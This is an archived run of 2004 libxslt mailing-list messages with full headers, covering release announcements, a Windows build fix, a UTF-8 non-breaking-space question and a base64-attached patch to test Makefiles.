Message framework v612) In-Reply-To: <20040218134011.GT12603@redhat.com> References: <20040216163116.GT12603@redhat.com> <39BBC473-6195-11D8-8A07-003065D4F272@acm.org> <20040218095158.GM12603@redhat.com> <082FFDA5-6216-11D8-B3C9-003065D4F272@acm.org> <20040218134011.GT12603@redhat.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <458F2D22-626F-11D8-B3C9-003065D4F272@acm.org> Content-Transfer-Encoding: 7bit From: Marc-Antoine Parent Subject: Re: [xslt] Release of libxslt-1.1.3 Date: Wed, 18 Feb 2004 19:05:05 -0500 To: xslt@gnome.org X-Mailer: Apple Mail (2.612) Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: > Adding node in the input document is not really sane. You could use > the document() and exslt:node-set() to apply templates to data not > in the main input. That sounds quite saner. Of course. I quite realize that what I am doing is a bit insane. Basically, I am applying a first layer of transformations to my source XML format (some aspects of which I do not like so much) before I write the XSL of the transformation proper. I should really make my rewritten nodes into a separate document, as you suggest; however, doing that means I cannot access the original document's nodes anymore in the templates that work on the sub-node. I guess I could pass the parent around as a parameter... I may look at that option. But it is so much more convenient to do surgery on the DOM on-the-fly, and then to actually use the ancestor nodes from my transformed data! But yes, it is certainly reckless. Anyway, thanks again for checking carefully against the consequences of this sort of maneuver... Marc-Antoine From Mark_Vakoc@peoplesoft.com Fri Feb 20 12:55:10 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mail03.peoplesoft.com (mail03.peoplesoft.com [192.206.43.75]) by mail.gnome.org (Postfix) with ESMTP id 39E2E18D14 for ; Fri, 20 Feb 2004 12:55:09 -0500 (EST) Received: from psh-mmsrel-01.corp.peoplesoft.com ([216.131.194.238]) by mail03.peoplesoft.com (8.12.10/8.12.9) with ESMTP id i1KHt7JN007626 for ; Fri, 20 Feb 2004 09:55:07 -0800 (PST) Received: from 216.131.195.63 by psh-mms-01.corp.peoplesoft.com with ESMTP (220 MMS Policy Servers (MMS v5.5.2)); Fri, 20 Feb 2004 09:55:11 -0700 To: xslt@gnome.org From: Mark_Vakoc@peoplesoft.com Subject: Re: [xslt] Release of libxslt-1.1.3 Date: Fri, 20 Feb 2004 10:54:58 -0700 Message-ID: X-MIMETrack: Serialize by Router on SMTP03/Server/PSExternal(Release 5.0.11 |July 24, 2002) at 02/20/2004 09:55:00 AM MIME-Version: 1.0 X-WSS-ID: 6C2896756876778-01-01 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Makefile.msvc needs to have the attrvt.obj added to the list of objects. I tried to do a patch but I have hacked that file too much for it to make sense. A simple change: $(XSLT_INTDIR)\xsltutils.obj\ + $(XSLT_INTDIR)\attrvt.obj and just below $(XSLT_INTDIR_A)\xsltutils.obj\ + $(XSLT_INTDIR_A)\attrvt.obj From veillard@redhat.com Sat Feb 21 07:17:24 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id AF3FE184A1 for ; Sat, 21 Feb 2004 07:17:24 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1LCHOb13830 for ; Sat, 21 Feb 2004 07:17:24 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1LCHOi21595 for ; Sat, 21 Feb 2004 07:17:24 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1LCHNkC022290 for ; Sat, 21 Feb 2004 07:17:23 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1LCHNrO022288 for xslt@gnome.org; Sat, 21 Feb 2004 07:17:23 -0500 Date: Sat, 21 Feb 2004 07:17:23 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] Release of libxslt-1.1.3 Message-ID: <20040221121723.GB18703@redhat.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Fri, Feb 20, 2004 at 10:54:58AM -0700, Mark_Vakoc@peoplesoft.com wrote: > > Makefile.msvc needs to have the attrvt.obj added to the list of objects. I > tried to do a patch but I have hacked that file too much for it to make > sense. A simple change: > > $(XSLT_INTDIR)\xsltutils.obj\ > + $(XSLT_INTDIR)\attrvt.obj > > and just below > > $(XSLT_INTDIR_A)\xsltutils.obj\ > + $(XSLT_INTDIR_A)\attrvt.obj > > > Oops ... applied... Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From astra@uni-paderborn.de Fri Feb 20 09:57:13 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mailgate.uni-paderborn.de (mailgate.uni-paderborn.de [131.234.22.32]) by mail.gnome.org (Postfix) with ESMTP id CC07018524 for ; Fri, 20 Feb 2004 09:57:12 -0500 (EST) Received: from p508a510c.dip.t-dialin.net ([80.138.81.12] helo=uni-paderborn.de) by mailgate.uni-paderborn.de with asmtp (TLSv1:AES256-SHA:256) (Exim 4.24) id 1AuC5V-0004sF-5n for xslt@gnome.org; Fri, 20 Feb 2004 15:57:09 +0100 Message-ID: <40362034.2060600@uni-paderborn.de> Date: Fri, 20 Feb 2004 15:56:52 +0100 From: Tom User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: de-de, en-us, en MIME-Version: 1.0 To: xslt@gnome.org Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-UNI-PB_FAK-EIM-MailScanner-Information: Please see http://imap.uni-paderborn.de for details X-UNI-PB_FAK-EIM-MailScanner: Found to be clean X-UNI-PB_FAK-EIM-MailScanner-SpamCheck: not spam, SpamAssassin (score=-3.801, required 4, AUTH_EIM_USER -5.00, HTML_20_30 0.47, RCVD_IN_NJABL 0.10, RCVD_IN_NJABL_DIALUP 0.53, RCVD_IN_SORBS 0.10) Subject: [xslt] nsbp and utf-8 Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi there! I have a stylesheet with utf-8 encoding and nbsp characters in it: ]> The resulting output is displayed as "?" for each nbsp in mozilla (1.6) and IE (when encoding is set to utf-8). How do I get my spaces in utf-8 ? Thanx in advance, ::Tom From pj@walter-graphtek.com Mon Feb 23 06:46:15 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from jessenlenz.com (mail.jessenlenz.com [212.79.192.34]) by mail.gnome.org (Postfix) with ESMTP id E677D18640 for ; Mon, 23 Feb 2004 06:46:14 -0500 (EST) Received: from SOFTDEV8 (217.81.70.122) by jessenlenz.com with ESMTP (Eudora Internet Mail Server 3.2.3); Mon, 23 Feb 2004 11:33:06 +0100 From: "Peter Jacobi" To: xslt@gnome.org, Tom Date: Mon, 23 Feb 2004 11:39:41 +0100 MIME-Version: 1.0 Content-type: Multipart/Mixed; boundary=Message-Boundary-21767 Subject: Re: [xslt] nsbp and utf-8 Message-ID: <4039E67D.4195.B8EBB6@localhost> Priority: normal In-reply-to: <40362034.2060600@uni-paderborn.de> X-mailer: Pegasus Mail for Windows (v4.02) Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: --Message-Boundary-21767 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body Hi Tom, Tom wrote: > I have a stylesheet with utf-8 encoding and nbsp characters in it: > > ]> > version="1.0"> > > The resulting output is displayed as "?" for each nbsp in mozilla (1.6) and > IE (when encoding is set to utf-8). > > How do I get my spaces in utf-8 ? I don't the see the problem, perhaps I just don't understand what the real question is. To get your question better understood, you should have attached a small complete example. Find attached a small example, where a nbsp entity is defined and used in a stylesheet. In the output file a numeric entity is written, so the question of encoding doesn't arise. What's different in your case? Regards, Peter Jacobi --Message-Boundary-21767 Content-type: Application/ZIP; name="author.zip" Content-disposition: attachment; filename="author.zip" Content-transfer-encoding: BASE64 UEsDBBQAAgAIADZcVzCmDVA1TwAAAJYAAAALAAAAYXV0aG9yLmh0bWyzsa/IzVEoSy0qzszP s1Uy1DNQsrfj5bLJMASSCnCgpaZc4WhgDaUign1Q+FpQpTb6QG02GUYoWrUhaqCUV35GnkJw bmZJBoqwNsIEkG4AUEsDBBQAAgAIAK1bVzBgMliMNwAAAEoAAAAKAAAAYXV0aG9yLnhtbLMp zi8tSk614+Xi5bIpySzJSbWLCPax0YcwgWKJpSUZ+UV2XvkZeQrBuZklGTb6UCGwFn24fgBQ SwMEFAACAAgANFxXML+Ow/vqAAAAlQEAAAsAAABhdXRob3IueHNsdHWQTUvDQBCG74X+h+0K DbSYaRSEpJu9aA+CqGAOFvGwlqlb2HywO23qvzfbJrYROnOYYXjnYeYVo4eX+2z5umB7ZxJH PwadRiT2IUaL5+wxW7Liy1WMj6+iu9mcy085HPgU//Q7tG5TFixlQRTOguGA+djnpnBJI00D TVQlAHVdh/VtWNpviOI4hve3J8isKty6tHkg/9CEeWUUIcsVrXTKgcuWKXTUtYeYHE9ry2F5 p8wWr8s1c2hwRc020IYMcpA98aRDwokp9E0PPx17A+ZtuYRXW9Kl9fxz9fTE91AB5591RkLf yWb8C1BLAQIWCxQAAgAIADZcVzCmDVA1TwAAAJYAAAALAAAAAAAAAAEAIAC2gQAAAABhdXRo b3IuaHRtbFBLAQIWCxQAAgAIAK1bVzBgMliMNwAAAEoAAAAKAAAAAAAAAAEAIAC2gXgAAABh dXRob3IueG1sUEsBAhYLFAACAAgANFxXML+Ow/vqAAAAlQEAAAsAAAAAAAAAAQAgALaB1wAA AGF1dGhvci54c2x0UEsFBgAAAAADAAMAqgAAAOoBAAAAAA== --Message-Boundary-21767-- From peb@mppmu.mpg.de Mon Feb 23 07:42:04 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mail.mppmu.mpg.de (mail.mppmu.mpg.de [134.107.24.11]) by mail.gnome.org (Postfix) with ESMTP id 7FB4818412 for ; Mon, 23 Feb 2004 07:42:02 -0500 (EST) Received: by mail.mppmu.mpg.de (Postfix, from userid 1111) id 7F3C8BDE8; Mon, 23 Feb 2004 13:42:01 +0100 (CET) Received: from pcl321.mppmu.mpg.de (pcl321.mppmu.mpg.de [134.107.3.54]) by mail.mppmu.mpg.de (Postfix) with ESMTP id 73410BDCB for ; Mon, 23 Feb 2004 13:42:01 +0100 (CET) Received: from pcl321.mppmu.mpg.de (localhost [127.0.0.1]) by pcl321.mppmu.mpg.de (8.12.9/8.12.9) with ESMTP id i1NCfr5p002470 for ; Mon, 23 Feb 2004 13:42:01 +0100 Received: from localhost (peb@localhost) by pcl321.mppmu.mpg.de (8.12.9/8.12.9/Submit) with ESMTP id i1NCfjMQ002465 for ; Mon, 23 Feb 2004 13:41:53 +0100 X-Authentication-Warning: pcl321.mppmu.mpg.de: peb owned process doing -bs Date: Mon, 23 Feb 2004 13:41:45 +0100 (CET) From: Peter Breitenlohner To: xslt@gnome.org Subject: Re: [xslt] Release of libxslt-1.1.3 In-Reply-To: <20040221121723.GB18703@redhat.com> Message-ID: References: <20040221121723.GB18703@redhat.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1803957763-834279527-1077540105=:28763" Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1803957763-834279527-1077540105=:28763 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi Daniel, attached please find a small patch for libxslt-1.1.3 The problem is that two of the tests in test/documents (make check) fail since the required input and output files are missing. This problem actually persists at least since V1.0.30. Alternatively, if the missing files do exist in the CVS please arrange to have them included in the distribution. ************************************* Something completely different: 'make check' for libxml2-2.6.6 outputs: ## Scripts regression tests ## Some of the base computations may be different if srcdir != . ## Catalog regression tests This is highly misleading because 'make check' with srcdir != . fails in a rather horrible way. I am quite aware that it might not at all be trivial to fix all the tests. Until that is done (if ever), the best would probably be not to run any tests if srcdir != . and output a message to that effect. Contrary to this, 'make check' for libxslt-1.1.3 with srcdir != . succeeds in all tests and there is only a reasonably small number of output lines from the various diffs where the value of srcdir shows up. ************************************* regards Peter Breitenlohner --1803957763-834279527-1077540105=:28763 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="libxslt-1.1.3-patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="libxslt-1.1.3-patch" ZGlmZiAtdXIgbGlieHNsdC0xLjEuMy5vcmlnL3Rlc3RzL2RvY3VtZW50cy9N YWtlZmlsZS5hbSBsaWJ4c2x0LTEuMS4zL3Rlc3RzL2RvY3VtZW50cy9NYWtl ZmlsZS5hbQ0KLS0tIGxpYnhzbHQtMS4xLjMub3JpZy90ZXN0cy9kb2N1bWVu dHMvTWFrZWZpbGUuYW0JMjAwMy0wMi0wNyAxNTozMDoxOS4wMDAwMDAwMDAg KzAxMDANCisrKyBsaWJ4c2x0LTEuMS4zL3Rlc3RzL2RvY3VtZW50cy9NYWtl ZmlsZS5hbQkyMDAzLTAyLTA3IDE1OjMwOjE5LjAwMDAwMDAwMCArMDEwMA0K QEAgLTI2LDE3ICsyNiw4IEBADQogCWRpZmYgJChzcmNkaXIpL3Rlc3QucmVz dWx0IHJlc3VsdDsgXA0KIAlncmVwICJNT1JZIEFMTE8iIC5tZW1kdW1wICB8 IGdyZXAgLXYgIk1FTU9SWSBBTExPQ0FURUQgOiAwIiB8fCB0cnVlO1wNCiAJ cm0gLWYgcmVzdWx0KQ0KLQlAKCQoQ0hFQ0tFUikgJCh0b3BfYnVpbGRkaXIp L3hzbHRwcm9jL3hzbHRwcm9jICQoc3JjZGlyKS90ZXN0LnhzbCAkKHNyY2Rp cikvdGVzdF9iYWQueG1sID4gcmVzdWx0IDI+ZXJyIDsgXA0KLQlkaWZmICQo c3JjZGlyKS90ZXN0X2JhZC5yZXN1bHQgcmVzdWx0OyBcDQotCWRpZmYgJChz cmNkaXIpL3Rlc3RfYmFkLmVyciBlcnI7IFwNCi0JZ3JlcCAiTU9SWSBBTExP IiAubWVtZHVtcCAgfCBncmVwIC12ICJNRU1PUlkgQUxMT0NBVEVEIDogMCIg fHwgdHJ1ZTtcDQotCXJtIC1mIHJlc3VsdCBlcnIpDQogCUAoJChDSEVDS0VS KSAkKHRvcF9idWlsZGRpcikveHNsdHByb2MveHNsdHByb2MgJChzcmNkaXIp L21lc3NhZ2UueHNsICQoc3JjZGlyKS9tZXNzYWdlLnhtbCA+IHJlc3VsdCAy PiYxIDsgXA0KIAlkaWZmICQoc3JjZGlyKS9tZXNzYWdlLnJlc3VsdCByZXN1 bHQ7IFwNCiAJZ3JlcCAiTU9SWSBBTExPIiAubWVtZHVtcCAgfCBncmVwIC12 ICJNRU1PUlkgQUxMT0NBVEVEIDogMCIgfHwgdHJ1ZTtcDQogCXJtIC1mIHJl c3VsdCkNCi0JQCgkKENIRUNLRVIpICQodG9wX2J1aWxkZGlyKS94c2x0cHJv Yy94c2x0cHJvYyAkKHNyY2RpcikvZnJhZ21lbnQueHNsICQoc3JjZGlyKS9m cmFnbWVudC54bWwgPiByZXN1bHQgMj4mMSA7IFwNCi0JZGlmZiAkKHNyY2Rp cikvZnJhZ21lbnQucmVzdWx0IHJlc3VsdDsgXA0KLQlncmVwICJNT1JZIEFM TE8iIC5tZW1kdW1wICB8IGdyZXAgLXYgIk1FTU9SWSBBTExPQ0FURUQgOiAw IiB8fCB0cnVlO1wNCi0Jcm0gLWYgcmVzdWx0KQ0KIA0KZGlmZiAtdXIgbGli eHNsdC0xLjEuMy5vcmlnL3Rlc3RzL2RvY3VtZW50cy9NYWtlZmlsZS5pbiBs aWJ4c2x0LTEuMS4zL3Rlc3RzL2RvY3VtZW50cy9NYWtlZmlsZS5pbg0KLS0t IGxpYnhzbHQtMS4xLjMub3JpZy90ZXN0cy9kb2N1bWVudHMvTWFrZWZpbGUu aW4JMjAwNC0wMi0xNiAxNjowMDoxNC4wMDAwMDAwMDAgKzAxMDANCisrKyBs aWJ4c2x0LTEuMS4zL3Rlc3RzL2RvY3VtZW50cy9NYWtlZmlsZS5pbgkyMDA0 LTAyLTE2IDE2OjAwOjE0LjAwMDAwMDAwMCArMDEwMA0KQEAgLTI5MywxOSAr MjkzLDEwIEBADQogCWRpZmYgJChzcmNkaXIpL3Rlc3QucmVzdWx0IHJlc3Vs dDsgXA0KIAlncmVwICJNT1JZIEFMTE8iIC5tZW1kdW1wICB8IGdyZXAgLXYg Ik1FTU9SWSBBTExPQ0FURUQgOiAwIiB8fCB0cnVlO1wNCiAJcm0gLWYgcmVz dWx0KQ0KLQlAKCQoQ0hFQ0tFUikgJCh0b3BfYnVpbGRkaXIpL3hzbHRwcm9j L3hzbHRwcm9jICQoc3JjZGlyKS90ZXN0LnhzbCAkKHNyY2RpcikvdGVzdF9i YWQueG1sID4gcmVzdWx0IDI+ZXJyIDsgXA0KLQlkaWZmICQoc3JjZGlyKS90 ZXN0X2JhZC5yZXN1bHQgcmVzdWx0OyBcDQotCWRpZmYgJChzcmNkaXIpL3Rl c3RfYmFkLmVyciBlcnI7IFwNCi0JZ3JlcCAiTU9SWSBBTExPIiAubWVtZHVt cCAgfCBncmVwIC12ICJNRU1PUlkgQUxMT0NBVEVEIDogMCIgfHwgdHJ1ZTtc DQotCXJtIC1mIHJlc3VsdCBlcnIpDQogCUAoJChDSEVDS0VSKSAkKHRvcF9i dWlsZGRpcikveHNsdHByb2MveHNsdHByb2MgJChzcmNkaXIpL21lc3NhZ2Uu eHNsICQoc3JjZGlyKS9tZXNzYWdlLnhtbCA+IHJlc3VsdCAyPiYxIDsgXA0K IAlkaWZmICQoc3JjZGlyKS9tZXNzYWdlLnJlc3VsdCByZXN1bHQ7IFwNCiAJ Z3JlcCAiTU9SWSBBTExPIiAubWVtZHVtcCAgfCBncmVwIC12ICJNRU1PUlkg QUxMT0NBVEVEIDogMCIgfHwgdHJ1ZTtcDQogCXJtIC1mIHJlc3VsdCkNCi0J QCgkKENIRUNLRVIpICQodG9wX2J1aWxkZGlyKS94c2x0cHJvYy94c2x0cHJv YyAkKHNyY2RpcikvZnJhZ21lbnQueHNsICQoc3JjZGlyKS9mcmFnbWVudC54 bWwgPiByZXN1bHQgMj4mMSA7IFwNCi0JZGlmZiAkKHNyY2RpcikvZnJhZ21l bnQucmVzdWx0IHJlc3VsdDsgXA0KLQlncmVwICJNT1JZIEFMTE8iIC5tZW1k dW1wICB8IGdyZXAgLXYgIk1FTU9SWSBBTExPQ0FURUQgOiAwIiB8fCB0cnVl O1wNCi0Jcm0gLWYgcmVzdWx0KQ0KICMgVGVsbCB2ZXJzaW9ucyBbMy41OSwz LjYzKSBvZiBHTlUgbWFrZSB0byBub3QgZXhwb3J0IGFsbCB2YXJpYWJsZXMu DQogIyBPdGhlcndpc2UgYSBzeXN0ZW0gbGltaXQgKGZvciBTeXNWIGF0IGxl YXN0KSBtYXkgYmUgZXhjZWVkZWQuDQogLk5PRVhQT1JUOg0K --1803957763-834279527-1077540105=:28763-- From pj@walter-graphtek.com Mon Feb 23 07:46:13 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from jessenlenz.com (mail.jessenlenz.com [212.79.192.34]) by mail.gnome.org (Postfix) with ESMTP id 5C2BE1843F for ; Mon, 23 Feb 2004 07:46:13 -0500 (EST) Received: from SOFTDEV8 (217.81.70.122) by jessenlenz.com with ESMTP (Eudora Internet Mail Server 3.1.4); Mon, 23 Feb 2004 13:09:52 +0100 From: "Peter Jacobi" To: xslt@gnome.org, Tom Date: Mon, 23 Feb 2004 13:16:27 +0100 MIME-Version: 1.0 Subject: Re: [xslt] nsbp and utf-8 Message-ID: <4039FD2B.13448.1118332@localhost> Priority: normal X-mailer: Pegasus Mail for Windows (v4.02) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi Tom, All, Also, adding encoding="UTF-8" to my example gives correct NBSP, whether specified as   or   - and adding a head element does cause the automagical insertion of a UTF-8 meta tag. Regards, Peter Jacobi From peb@mppmu.mpg.de Mon Feb 23 08:18:04 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mail.mppmu.mpg.de (mail.mppmu.mpg.de [134.107.24.11]) by mail.gnome.org (Postfix) with ESMTP id D5F2918264 for ; Mon, 23 Feb 2004 08:18:03 -0500 (EST) Received: by mail.mppmu.mpg.de (Postfix, from userid 1111) id 64602BDEB; Mon, 23 Feb 2004 14:18:03 +0100 (CET) Received: from pcl321.mppmu.mpg.de (pcl321.mppmu.mpg.de [134.107.3.54]) by mail.mppmu.mpg.de (Postfix) with ESMTP id 5A3F0BDE8 for ; Mon, 23 Feb 2004 14:18:03 +0100 (CET) Received: from pcl321.mppmu.mpg.de (localhost [127.0.0.1]) by pcl321.mppmu.mpg.de (8.12.9/8.12.9) with ESMTP id i1NDHt5p003106 for ; Mon, 23 Feb 2004 14:18:03 +0100 Received: from localhost (peb@localhost) by pcl321.mppmu.mpg.de (8.12.9/8.12.9/Submit) with ESMTP id i1NDHlfU003100 for ; Mon, 23 Feb 2004 14:17:55 +0100 X-Authentication-Warning: pcl321.mppmu.mpg.de: peb owned process doing -bs Date: Mon, 23 Feb 2004 14:17:47 +0100 (CET) From: Peter Breitenlohner To: xslt@gnome.org Subject: Re: [xslt] Release of libxslt-1.1.3 In-Reply-To: Message-ID: References: <20040221121723.GB18703@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Mon, 23 Feb 2004, Peter Breitenlohner wrote: > Hi Daniel, > > ........... > > Contrary to this, 'make check' for libxslt-1.1.3 with srcdir != . succeeds > in all tests and there is only a reasonably small number of output lines > from the various diffs where the value of srcdir shows up. Sorry, this was NOT correct: 'make check' for libxslt-1.1.3 with srcdir != . fails in the last test 'stand-2.7-1' in tests/REC. While all the tests (including stand-2.7-1) from @(for i in $(srcdir)/*.xsl ; do \ in this directory (as well as those in all other dirs) succeed, the one from @(for i in $(srcdir)/stand*.xml ; do \ fails with: stand-2.7-1.xml warning: failed to load external entity "stand-2.7-1.xsl" compilation error: element import xsl:import : unable to load stand-2.7-1.xsl compilation error: file ../../../libxslt-1.1.3/tests/REC/stand-2.7-1.xml line 3 element doc xsltParseStylesheetProcess : document is not a stylesheet Fatal error, no stand-2.7-1.res\n Peter Breitenlohner From veillard@redhat.com Mon Feb 23 12:49:39 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id 79E23182CB for ; Mon, 23 Feb 2004 12:49:39 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1NHndb25858 for ; Mon, 23 Feb 2004 12:49:39 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1NHndi20724 for ; Mon, 23 Feb 2004 12:49:39 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1NHnbkC027059 for ; Mon, 23 Feb 2004 12:49:37 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1NHnbah027057 for xslt@gnome.org; Mon, 23 Feb 2004 12:49:37 -0500 Date: Mon, 23 Feb 2004 12:49:37 -0500 From: Daniel Veillard To: xslt@gnome.org Message-ID: <20040223174937.GL29855@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.4.1i Subject: [xslt] Release of libxslt-1.1.4 Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: This is also a simple bug fix release to meet some GNOME deadline: ftp://xmlsoft.org/ and GNOME FTP mirrors http://xmlsoft.org/XSLT/ Just a few fixes for bug introduced in 1.1.3 and a couple of improvements: - bugfixes: attributes without doc (Mariano Suárez-Alvarez), problem with Yelp, extension problem - display extension modules (Steve Little) - Windows compilation patch (Mark Vadoc), Mingw (Mikhail Grushinskiy) Thanks to everyone who submitted bug reports or fixes, Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From esther.parrilla@deimos-space.com Mon Feb 23 13:06:58 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from llca093.servidoresdns.net (llca093.servidoresdns.net [217.76.128.74]) by mail.gnome.org (Postfix) with ESMTP id 46A2A18115 for ; Mon, 23 Feb 2004 13:06:57 -0500 (EST) Received: from pc_espe.corp-deimos.es (160.Red-80-36-186.pooles.rima-tde.net [80.36.186.160]) by llca093.servidoresdns.net (8.11.6/8.10.2) with ESMTP id i1NI6sN15906 for ; Mon, 23 Feb 2004 19:06:55 +0100 Subject: Re: [xslt] Release of libxslt-1.1.4 From: Esther Parrilla Endrino To: xslt@gnome.org In-Reply-To: <20040223174937.GL29855@redhat.com> References: <20040223174937.GL29855@redhat.com> Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: quoted-printable X-Mailer: Ximian Evolution 1.0.3 (1.0.3-4) Date: 23 Feb 2004 19:03:56 +0100 Message-Id: <1077559437.3042.15.camel@pc_espe> Mime-Version: 1.0 Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: hi all, sorry for sending this email but how can I unsucribe to the list? I can find the link in the http://mail.gnome.org/mailman/listinfo/xslt web page thanks in advance esther El lun, 23-02-2004 a las 18:49, Daniel Veillard escribi=F3: > This is also a simple bug fix release to meet some GNOME deadline: > ftp://xmlsoft.org/ and GNOME FTP mirrors > http://xmlsoft.org/XSLT/ >=20 > Just a few fixes for bug introduced in 1.1.3 and a couple of improvement= s: > - bugfixes: attributes without doc (Mariano Su=E1rez-Alvarez), > problem with Yelp, extension problem > - display extension modules (Steve Little) > - Windows compilation patch (Mark Vadoc), Mingw (Mikhail Grushinskiy) >=20 > Thanks to everyone who submitted bug reports or fixes, >=20 > Daniel >=20 > --=20 > Daniel Veillard | Red Hat Network https://rhn.redhat.com/ > veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ > http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ > _______________________________________________ > xslt mailing list, project page http://xmlsoft.org/XSLT/ > 